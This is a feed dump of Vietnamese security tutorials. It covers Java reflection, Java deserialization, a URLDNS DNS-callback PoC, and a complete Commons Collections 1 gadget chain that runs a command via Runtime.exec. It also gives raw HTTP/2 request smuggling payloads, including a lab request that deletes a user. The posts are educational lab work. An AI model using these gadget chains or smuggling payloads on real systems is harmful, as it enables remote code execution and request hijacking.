Chúng ta đã vượt qua được if đầu tiên, và đồng thời if thứ 2 cũng đã vượt qua (không cần để ý đến vì toàn code gốc, đọc vào sẽ tốn thời gian của chúng ta thui à). Tuy nhiên vẫn chưa đủ để exec calc bởi vì chúng ta chưa xử lý vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy.

Giải quyết vấn đề không điều khiển được AnnotationTypeMismatchExceptionProxy

Đến đây mọi thứ được lập trình ra vẫn hỗ trợ cho chain của chúng ta :), lớp ConstantTransformer tương tự như InvokerTransformer tuy nhiên khi thực hiện transform, thằng ConstantTransformer sẽ trực tiếp return ra Object mình truyền vào ở hàm tạo chứ không phải Object truyền vào ở hàm Transform, Object này sẽ nối tiếp cho chuỗi sau.
Vậy là chúng ta có thể thực hiện x.Transform(new AnnotationTypeMismatchExceptionProxy....)

Từ đây chúng ta có chuỗi hoàn chỉnh sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Annotation;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.*;
public class testTransformedMap {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
    public static void main(String[] args) throws Exception {
        String[] cmd = new String[] {"calc"};
        HashMap<Object, Object> hashMap = new HashMap<>();
        hashMap.put("value", "test-value");
        Transformer[] transformers = {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map<Object, Object> map = (TransformedMap) TransformedMap.decorate(hashMap, null, chainedTransformer);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihClassConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
        aihClassConstructor.setAccessible(true);
        Object aihObject = aihClassConstructor.newInstance(Target.class, map);
        serialize(aihObject);
        unserialize("ser.bin");
    }
}

Chạy file và máy tính đã bật lên…

Lời kết

Và đến đây là mình đã hoàn thành chain Commons Collections 1 theo hướng TransformedMap, là chain đầu tiên mình làm và bước chân vào con đường Java Security.
Thật sự, khi đọc mã nguồn từ nhà phát hành và tìm hiểu cách các master OOP sử dụng các thư viện, mình nhận thấy rất nhiều kiến thức mình chưa có. Tuy nhiên, nhờ đó, mình đã học được nhiều kiến thức mới về Java OOP.
Hy vọng các bạn nào mới bước chân vào Java Security như mình hãy cố gắng nghiên cứu, đọc hiểu từ từ để có thể hiểu một cách rõ nhất về cái đẹp của Java OOP. Thực sự rất khó cho người mới học nên hy vọng các bạn có thể vượt qua ^^.

Chúc các bạn học tốt~

]]> Java Deserialization Java Deserialization Commons Collections https://rayinaw.github.io/2022/11/04/Commons-Collections1-TransformedMap/#disqus_thread Introduction to Java Deserialization https://rayinaw.github.io/2022/11/03/JavaDeserializationBasic/ https://rayinaw.github.io/2022/11/03/JavaDeserializationBasic/ Wed, 02 Nov 2022 19:50:28 GMT <p>Bài viết này là về những concept cơ bản của quá trình Serialization và Deserialization và cách mà lỗ hổng Java Deserialization được thực Bài viết này là về những concept cơ bản của quá trình Serialization và Deserialization và cách mà lỗ hổng Java Deserialization được thực thi.

Serialization và Deserialization

1. Serialization và deserialization là gì?

Hiểu một cách đơn giản hai quá trình này là:

  • Serialization: Object –> string hay bytecode(với Java)
  • Deserialization: string hoặc bytecode –> Object

2. Những quá trình cần sử dụng đến Serialization:

Lưu các đối tượng (ở đây xem như dữ liệu) vào bộ nhớ, tệp, cơ sở dữ liệu,…
Truyền các đối tượng qua mạng.
Chuyển đối tượng qua RMI.

3. Triển khai quá trình Ser và Deser cơ bản:

Ở đây mình tạo một package SerialBasic rồi cho các lớp vào trong package đó.

File Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

package SerialBasic;
import java.io.Serializable;
public class Person implements Serializable{
    private String name;
    private int age;
    public Person(){
    }
    public Person(String name, int age){
        this.name = name;
        this.age = age;
    }
    @Override
    public String toString(){
        return "Person{name='"+name+"' age="+age+"}";
    }
}

File SerializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

package SerialBasic;

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutput;
import java.io.ObjectOutputStream;

public class SerializationTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws IOException {
        Person person = new Person("rayinaw", 16);
        serialize(person);
    }
}

File DeserializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

package SerialBasic;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class DeserializationTest {
    public static Object deserialize(String FileName) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(FileName));
        Object obj = ois.readObject();
        return obj;
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Person test = (Person) deserialize("ser.txt");
        System.out.println(test);
    }
}

Đầu tiên ta chạy file SerializationTest.java, sau khi chạy xong ta thấy ở trong thư mục cha của src có một file ser.txt mới được tạo.
Tiếp đến chạy file DeserializationTest.java:

Giải thích:

  • SerializationTest.java
    Ban đầu chúng ta khởi tạo một object new FileOutputStream(“ser.txt”), tiếp đến chúng ta khởi tạo một ObjectOutputStream. Rồi thực hiện oos.writeObject(obj) để viết đối tượng vào file ser.txt
    1
    2
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.txt"));  
    oos.writeObject(obj);
  • DeserializationTest.java
    1
    2
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));  
    Object obj = ois.readObject();

Cách mà lỗ hổng Deserialization xảy ra:

Ở đây mình dùng Intellij để thực hiện, một IDEA rất tiện lợi mà ai làm việc với Java đều sử dụng.
Mình chỉ nói đến một chuỗi cơ bản để các bạn có thể hình dung cách thực hiện và bắt đầu với Deserialization trong Java nhé ^^.

1. HashMap và cách nó gây ra lỗ hổng Deserialization:

Gõ Ctrl + N và tìm kiếm lớp HashMap:

Lớp HashMap này có implements lớp Serializable vậy nên chúng ta có thể dùng nó để lợi dụng quá trình Ser và Deser.

Tiếp theo mở phần Structure và tìm kiến method readObject của lớp HashMap:

Trong method readObject ta thấy có phần quan trọng ở đây:

  • Đầu tiên thực hiện gán key và value = s.readObject()
  • Sau đó thực hiện hàm putVal(), điểm cần chú ý ở đây là nó đưa key vào method hash().

Ctrl + Chuột trái để đi vào phương thức hash():

Trong phương thức hash này, nếu key == null sẽ return 0, còn không thì sẽ thực hiện h = key.hashCode()) ^ (h >>> 16) rồi return h.
Điểm mà chúng ta cần chú ý ở đây là nó thực hiện key.hashCode() mình sẽ đi sâu một chút cho các bạn dễ hiểu:

  • Trong Java có một lớp là cha của mọi lớp đó là lớp Object, nó có các phương thức như toString(), hashCode(),…
  • key là một object của lớp hashMap mà implements ngầm lớp Object (vì nó cha của mọi lớp mà) vậy nên nó thừa hưởng các phương thức của lớp Object. Nên ở đây chúng ta có thể gọi key.hashCode()

Việc gọi hashCode() ở đây có ý nghĩa gì thì chúng ta cùng đi sâu vào chuổi URLDNS nhé!

2. Phân tích chuỗi URLDNS:

Chuỗi URLDNS là một chuỗi đơn giản nhất trong các gadget chain (đương nhiên sẽ hơi khó hiểu với người bắt đầu, keep going ^^). Chuỗi này không thực sự gây ra một vấn đề gì nghiêm trọng như là RCE hay là SSRF…, kết quả của chuỗi này là thực hiện một yêu cầu DNS đến địa chỉ mà chúng ta đưa vào. Nó có kết quả phải không nào ^^, vậy nên chuỗi này sẽ giúp các bạn biết được một gadget chain sẽ xảy ra như thế nào. Cố gắng viết code, đọc hiểu để nhanh tiến bộ nhé ٩(^‿^)۶…

Chuỗi thực thi của URLDNS như sau:

1
2
3
4
5
Gadget Chain:
    HashMap.readObject()
        HashMap.putVal()
            HashMap.hash()
                URL.hashCode()

Để tạo một HashMap, đầu tiên chúng ta thực hiện tạo một object hashmap, sau đó chúng ta sẽ thực hiện hàm put() để đưa dữ liệu vào trong object HashMap đó.

1
2
3
4
5
6
public static void main(String[] args) throws IOException {

        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        hashmap.put(new URL("https://0tvykt.dnslog.cn"), 1);
        serialize(hashmap);
}

Ở đây tham số đầu tiên của hàm put() là một object key, và tham số thứ hai là value. Hai biến này tương ứng với key và value mình đã phân tích ở trên phần phân tích về HashMap. Ở đây vì key nhận vào là một object nên ở đây chúng ta sẽ tạo một object URL để thực hiện chain này.
Bây giờ, giả sử như chúng ta thực hiện readObject hashmap, nó sẽ đi theo sơ đồ:

1
2
3
4
5
Gadget Chain:
    HashMap.readObject()
        HashMap.putVal()
            HashMap.hash()
                URL.hashCode()

Và đến đây, phương thức hashCode() được gọi sau khi readObject() sẽ phát huy tác dụng. Chúng ta sẽ đi sâu vào phần này:
Tiếp tục chúng ta tìm class URL rồi tìm đến method hashCode().

Ở đây, phương thức hashCode() của lớp Object đã được định nghĩa lại trong lớp URL:

  • Nếu hashCode không bằng -1 thì sẽ thực hiện return hashCode bởi vì nó đã được set rồi.
  • Nếu không thì hashCode sẽ được gán bằng handler.hashCode(this), this ở đây có nghĩa là nó sẽ lấy object của lớp hiện tại đưa vào handler.hashCode rồi thực hiện tiếp.
    Tiến hành Ctrl+Chuột trái rồi nhấn vào handler để đi đến nơi mà biến hanler được tạo.
    Ảnh biến handler
    1
    transient URLStreamHandler handler;
    Biến handler ở đây là một object của lớp URLStreamHandler, object này sẽ gọi đến phương thức hashCode() được định nghĩa trong lớp này. Tiến hành Ctrl+Chuột trái rồi click vào URLStreamHandler, rồi tìm đến phương thức hashCode().

Trong phương thức này chúng ta thấy dòng InetAddress addr = getHostAddress(u); có nghĩa là nó sẽ thực hiện một yêu cầu DNS đến địa chỉ URL để thực hiện getHostAddress. Đến đây ta đạt được mục đích của Chain này đó là request đến địa chỉ URL mà ta cung cấp. Còn lại phần sau và việc nó thực hiện request thế nào thì chúng ta không cần quan tâm, chỉ vậy là đã đủ (Đương nhiên bạn nào thích thì cứ tìm hiểu nhé ^^).

3. POC cho chuỗi URLDNS:

Link nhận DNS request: http://dnslog.cn/

Chú ý khi thực hiện serialize object của lớp HashMap:

Filename: SerializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
package BasicChain;

import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Ser2.txt"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws IOException {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        hashmap.put(new URL("https://0tvykt.dnslog.cn"), 1);
        serialize(hashmap);
    }
}

Sau khi chạy file này, dù chưa thực hiện deserialize file Ser2.txt mà chúng ta đã nhận được request đến. Nguyên nhân là do khi thực hiện gán giá trị vào object hashmap bằng hashmap.put(), hàm hash trong phương thức này đã được thực hiện và sẽ request đến địa chỉ URL mà ta cung cấp.

Sau khi request đến URL, biến hashcode bây giờ đã không còn là -1 nữa, khi đó trong quá trình deserialize request sẽ không được gửi đến. Vậy nên sau khi thực hiện deserialize, chúng ta cần thực hiện set lại giá trị cho hashcode là -1. Tuy nhiên vấn đề ở đây là biến hashcode là private, để gán lại giá trị cho biến private chúng ta cần sử dụng đến Reflection mà mình đã có bài viết về nó.

POC hoàn thiện của chuỗi URLDNS:

file: SerializeTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package BasicChain;

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class SerializeTest {
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("Ser2.txt"));
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        HashMap<URL, Integer> hashmap = new HashMap<URL, Integer>();
        URL url  = new URL("https://2g1hil.dnslog.cn");
        Field hashcode = URL.class.getDeclaredField("hashCode");
        //Field hashcode = url.getClass().getDeclaredField("hashCode"); Cách khác để lấy field hashcode
        hashmap.put(url, 1);
        hashcode.setAccessible(true);
        hashcode.set(url, -1);
        serialize(hashmap);
    }
}

file: Deser.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package BasicChain;

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class Deser {
    public static void Deserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
    }

    public static void main(String[] args) throws IOException, ClassNotFoundException {
        Deserialize("ser2.txt");
    }
}

Kết quả:

Vậy là mình đã giới thiệu xong về cơ bản của quá trình Deserialization và đi qua hết chuỗi URLDNS. Đây chỉ là những kiến thức cơ bản của lỗ hổng Java Deserialization. Để hiểu sâu hơn về lỗ hổng này, mình thực sự khuyên các bạn hãy hiểu tường tận về những keyword sau: “Class Class”, “Class Object”, “Class Runtime”, “Reflection”, các khái niệm về OOP, và còn nhiều thứ khác nữa. Và hãy cố gắng đọc hiểu và tự mình viết POC cho lỗ hổng này, khá khó để bắt đầu nhưng hi vọng các bạn có thể vượt qua.

Hành trình nào mà không có gian nan, đau khổ ^^… Chúc các bạn học tốt~

]]> Java Deserialization Java Deserialization https://rayinaw.github.io/2022/11/03/JavaDeserializationBasic/#disqus_thread Java Reflection https://rayinaw.github.io/2022/11/02/Java-reflection/ https://rayinaw.github.io/2022/11/02/Java-reflection/ Wed, 02 Nov 2022 16:23:23 GMT <p>Lớp Java Reflection là một lớp thường xuyên được sử dụng vì sự tiện nghi của nó, nên chúng ta cũng có thể thường xuyên thấy những lớp này Lớp Java Reflection là một lớp thường xuyên được sử dụng vì sự tiện nghi của nó, nên chúng ta cũng có thể thường xuyên thấy những lớp này khi đi sâu vào những lỗ hổng của Java. Ngoài ra, trong Java Deserialization ta thường dùng lớp này để có thể truy cập vào các thuộc tính Private.

Trước khi đọc bài viết này, các bạn nên tìm hiểu lớp Class, Object.

Tản mạn thế là đủ rồi, ta cùng đi vào bài viết nào o(￣▽￣)ブ

Java Reflection

1. Khái niệm:

Reflection là một tính năng của java, nó cho phép một chương trình đang chạy trực tiếp lấy ra các thuộc tính, phương thức,… và thao tác với nó.

Một điểm đặc biệt của Java reflection là nó cho phép thay đổi các thuộc tính Private của một Object.

2. Các hàm của Java reflection:

Ở đây mình chỉ liệt kê ra những hàm thường dùng của Reflection.

Lấy ra thuộc tính của một lớp (Field):

Trong lớp Class có hai phương thức để lấy ra trường ở trong một lớp là getDeclaredFields() và getDeclaredField(String name).

  • Phương thức getDeclaredFields() sẽ lấy ra tất cả những trường có ở trong class của object đó.
  • Phương thức getDeclaredField(String name) sẽ lấy ra một trường có tên là String mà chúng ta truyền vào.

Hai phương thức này tương tự nhau chỉ là phương thức getDeclaredFields() sẽ lấy ra tất cả các field của Class đó rồi cho vào một mảng nên các bạn tự tìm hiểu nhé..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.lang.reflect.Field;

class person{
    private String name;
    public person(String name){
        this.name = name;
    }
    public void setName(String name){
        this.name = name;
    }
    @Override
    public String toString(){
        return "Person: "+ "name = '"+ name + "'";
    }
}

public class reflectionClass {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException {
        person a = new person("helen");
        Field name = a.getClass().getDeclaredField("name");
        name.setAccessible(true);//Cho phép truy cập tạm thời vào biến name để thay đổi, đây là cái hay của reflection.
        name.set(a, "Sayo");
        System.out.println(a);
    }
}

Lấy ra phương thức của một lớp:

MethodPublicNon-publicInherited
getMethod & getMethods✔️❌✔️
getDeclaredMethod & getDeclaredMethods✔️✔️❌

  • Phương thức getMethod() và getMethods():

    Hàm getMethod() và getMethods() sẽ có thể lấy những method public và những method được kế thừa từ lớp cha của nó. Lớp getMethod() sẽ trả về một phương thức xác định, còn lớp getMethods() sẽ trả về một mảng các phương thức.

  • Phương thức getDeclaredMethod() và getDeclaredMethods():

    Hàm getDeclaredMethod() và getDeclaredMethods() sẽ lấy ra những phương thức được định nghĩa ở trong class hiện tại, bao gồm cả Public và Non-public nhưng không thể lấy những class kế thừa như của getMethod(). Tương tự như vậy, lớp getDeclaredMethod() sẽ trả về một phương thức xác định, còn lớp getDeclaredMethods() sẽ trả về một mảng các phương thức.

Các phương thức đều tương tự nhau nên mình sẽ chỉ đưa ra một ví dụ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

class person{
    private String name;
    public person(String name){
        this.name = name;
    }
    public void setName(String name){
        this.name = name;
    }
    public void work(String a, String b){
        System.out.println("Do something....");
    }
    @Override
    public String toString(){
        return "Person: "+ "name = '"+ name + "'";
    }
}

public class reflectionClass {
    public static void main(String[] args) throws Exception {
        person a = new person("helen");
        Method method = a.getClass().getMethod("work", String.class, String.class);
        method.invoke(a, "a", "b");
    }
}

  • Class.getMethod() nhận tham số đầu là string với tên của method, các tham số sau là lớp của đối số mà method cần lấy ra nhận vào. Như ví dụ trên, lớp work nhận vào 2 tham số là String nên chúng ta sẽ truyền vào String.class,…

  • method lấy ra bây giờ là một object của lớp Method bây giờ nó đại diện cho các method của những object thuộc chung một class có method được lấy ra. Trong lớp Method có một hàm invoke() dùng để gọi cái method đó. Và đương nhiên method bây giờ chưa phải là của object nào mà nó chỉ chung chung, bây giờ hàm invoke() sẽ nhận đối số đầu tiên là object chứa method đó, các giá trị sau là các tham số của method.

  • Lưu ý method chỉ sử dụng nếu các object là chung một class.

Phương thức getConstructor() và getConstructors():

Phương thức này giúp chúng ta lấy ra một Constructor của một lớp và đưa vào lớp Constructor, từ Constructor được lấy ra, chúng ta có thể tạo một Object bằng hàm newInstance() ở trong lớp Constructor.
Phương thức getConstructors() tương tự, chỉ khác là nó sẽ đưa vào mảng.

1
2
3
4
5
6
public static void main(String[] args) throws Exception {
        Class<person> personClass = person.class;
        Constructor<person> personConstructor = personClass.getConstructor(String.class);
        person a = personConstructor.newInstance("Makune");
        System.out.println("person: " + a);
    }

Lấy ra một lớp mà không thể thao tác trực tiếp:

Phương thức forName

Để lấy ra một class chúng ta dùng phương thức forName.

1
2
3
4
5
6
7
8
9
10
11
public static void main(String[] args) throws Exception {
    //Lấy ra lớp AnnotationInvocationHandler
    Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    //Lấy ra Constructor của lớp AnnotationInvocationHandler
    Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
    //Lớp này khởi tạo default nên chúng ta phải setAccessible(true)
    aihConstructor.setAccessible(true);
    //Sử dụng constructor
    //Vì chúng ta không có quyền với lớp AnnotationInvocationHandler nên chúng ta không thể tạo Object kiểu AnnotationInvocationHandler, do đó chúng ta phải đặt kiểu là Object hoặc kiểu mà lớp AnnotationInvocationHandler kế thừa.
    Object aihObject = aihConstructor.newInstance(Override.class, new HashMap<>());
}
]]> Java Programming Java Reflection Programming https://rayinaw.github.io/2022/11/02/Java-reflection/#disqus_thread HTTP request smuggling với HTTP/2.0 https://rayinaw.github.io/2022/11/02/http-request-smuggling-HTTP-2.0/ https://rayinaw.github.io/2022/11/02/http-request-smuggling-HTTP-2.0/ Wed, 02 Nov 2022 16:23:23 GMT <h1 id="Loi-noi-dau"><a href="#Loi-noi-dau" class="headerlink" title="Lời nói đầu:"></a>Lời nói đầu:</h1><p>Bài viết trước mình đã nói về kh Lời nói đầu:

Bài viết trước mình đã nói về khái niệm cơ bản của HRS và một số dạng cơ bản với HTTP/1.1. Bài viết này mình sẽ đi vào HRS với HTTP/2.0, nó khá phức tạp hơn so với HTTP/1.1 tuy nhiên cũng không khó lắm đâu ^^. Cùng đi vào bài nhé~

HTTP request smuggling với HTTP/2.0

Tham khảo: https://portswigger.net/research/http2

HTTP/2 downgrading

Nguồn gốc chính của lỗ hỏng này là front-end server sử dụng giao thức HTTP/2 để giao tiếp với máy khách trong khi đó nó lại dùng HTTP/1.1 để giao tiếp với back-end server.

image

Khi đó user có thể chèn thêm các phần độc hại vào header mà hợp lệ với HTTP/2, tuy nhiên nó lại được phân tích ở máy chủ back-end với giao thức HTTP/1.1, khi đó lỗi HRS sẽ xảy ra.

Front-end HTTP/2 server thường sử dụng message length có sẵn trong các data frames gửi đi theo giao thức này. Trong khi để Backend hiểu được thì cần downgrade xuống HTTP/1 bao gồm 2 loại là TE và CL dẫn đến lỗi H2-TE và H2-CL.

H2.CL Desync:

Theo HTTP/2 RFC, ta có độ dài ở trong mỗi frame do đó tiêu đề Content-length là không cần thiết, tuy nhiên vẫn có thể đặt Content-length trong header.

Khi user gửi request đến front-end server có chứa trường Content-Length, front-end server có thể sẽ chấp nhận trường này dù độ dài không đúng. Sau đó nó sẽ hạ cấp request từ HTTP/2.0 xuống HTTP/1.1 và giữ nguyên trường Content-Length, tại back-end server nó có phân tích trường Content-Length với giá trị mà user cho vào, bây giờ user có thể chèn thêm các phần độc hại và một giá trị Content-Length không phù hợp với server để trigger HRS.

Ví dụ:

1
2
3
4
5
6
7
:method POST
:path /
:authority example.com
content-length 4
aaaaGET /abc HTTP/1.1
Host: example.com
Foo: Bar

Sau khi hạ cấp nó sẽ tạo thành yêu cầu như sau:

1
2
3
4
5
6
7
POST / HTTP/1.1
Host: example.com
Content-Length: 4

aaaaGET /abc HTTP/1.1
Host: example.com
Foo: Bar

Sau khi front-end server gửi yêu cầu đến back-end server phần còn lại sẽ được xem như là của yêu cầu mới, khi một người dùng khác gửi yêu cầu đến cùng thời điểm, phần còn lại sẽ được gắn vào đầu của yêu cầu mới và lỗi HRS được kích hoạt.

1
2
3
4
5
POST / HTTP/1.1
Host: example.com
Content-Length: 4

aaaa

Trả về 200 OK
Yêu cầu của nạn nhân sẽ trở thành yêu cầu sau:

1
2
3
4
GET /abc HTTP/1.1
Host: example.com
Foo: BarGET / HTTP/1.1
Host: example.com

Trả về 404 Not Found

H2.TE

H2.TE Desync - Máy chủ Front-end downgrade H2 thành H1 và không xem xét loại bỏ các trường liên quan đến connection-specific header fields

Request gửi đến FE server:

:methodPOST
:path/identitfy/XUI
:authorityid.b2b.oath.com
transfer-encodingchunked
1
2
3
4
5
6
7
0

GET /oops HTTP/1.1
Host: psres.net
Content-Length: 10

x=

FE downgrade mà không tuân thủ việc loại bỏ transfer-encoding:

1
2
3
4
5
6
7
8
9
10
11
12
POST /identity/XUI HTTP/1.1
Host: id.b2b.oath.com
Content-Length: 66
Transfer-Encoding: chunked

0

GET /oops HTTP/1.1
Host: psres.net
Content-Length: 10

x=

Phía server chọn transfer encoding và H2.TE xảy ra, tương tự như CL.TE.

Bây giờ request sẽ trở thành:

  • Request 1
    1
    2
    3
    4
    5
    6
    POST /identity/XUI HTTP/1.1
    Host: id.b2b.oath.com
    Content-Length: 66
    Transfer-Encoding: chunked

    0
  • Request 2
    1
    2
    3
    4
    5
    GET /oops HTTP/1.1
    Host: psres.net
    Content-Length: 10

    x=

H2.TE via Request Header Injection

Request gửi đến FE server:

:methodPOST
:path/
:authoritystart.mozilla.org
foob\r\n
transfer-encoding: chunked
1
2
3
4
5
6
7
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: evil-netlify-domain\r\n
Content-Length: 5\r\n
\r\n
x=

Sau khi FE downgrade, \r\n trigger header injection:

1
2
3
4
5
6
7
8
9
10
11
12
13
POST / HTTP/1.1\r\n
Host: start.mozilla.org\r\n
Foo: b\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 71\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: evil-netlify-domain\r\n
Content-Length: 5\r\n
\r\n
x=

Bây giờ bài toán lại trở về H2.TE

HTTP request tunnelling

Client-side Desync

Tham khảo: https://www.youtube.com/watch?v=KN8WF1q04no

Đôi khi server sẽ trả về 2 response với cùng một request nếu Connection là keep-alive và gửi chung 2 request trong 1 request.

image

Để server phân biệt được khi nào 2 request, khi nào thì chỉ là 1 request và phần sau là phần body thì ta cần thêm giá trị content-length.

Tuy nhiên một vài server sẽ không mong đợi Content-Length và sẽ mặc định là 0. Khi này server sẽ nghĩ đó là 2 request dù đó là POST request như sau:

image

Và 2 response sẽ được trả về.

Pause-based desync

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /resources HTTP/1.1
Host: 0a09000d030187f382ab5b5f001b002c.web-security-academy.net
Cookie: session=WPmZElZUBulQFtkztzMyvYUcW7cnDwxz
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 159

POST /admin/delete/ HTTP/1.1
Host: localhost
Content-Length: 53
Content-Type: x-www-form-urlencoded

csrf=B2qufiNeJo9Hsq32pJFLGOZio9bCgkyn&username=carlos

image
image

]]> HTTP Request Smuggling HRS https://rayinaw.github.io/2022/11/02/http-request-smuggling-HTTP-2.0/#disqus_thread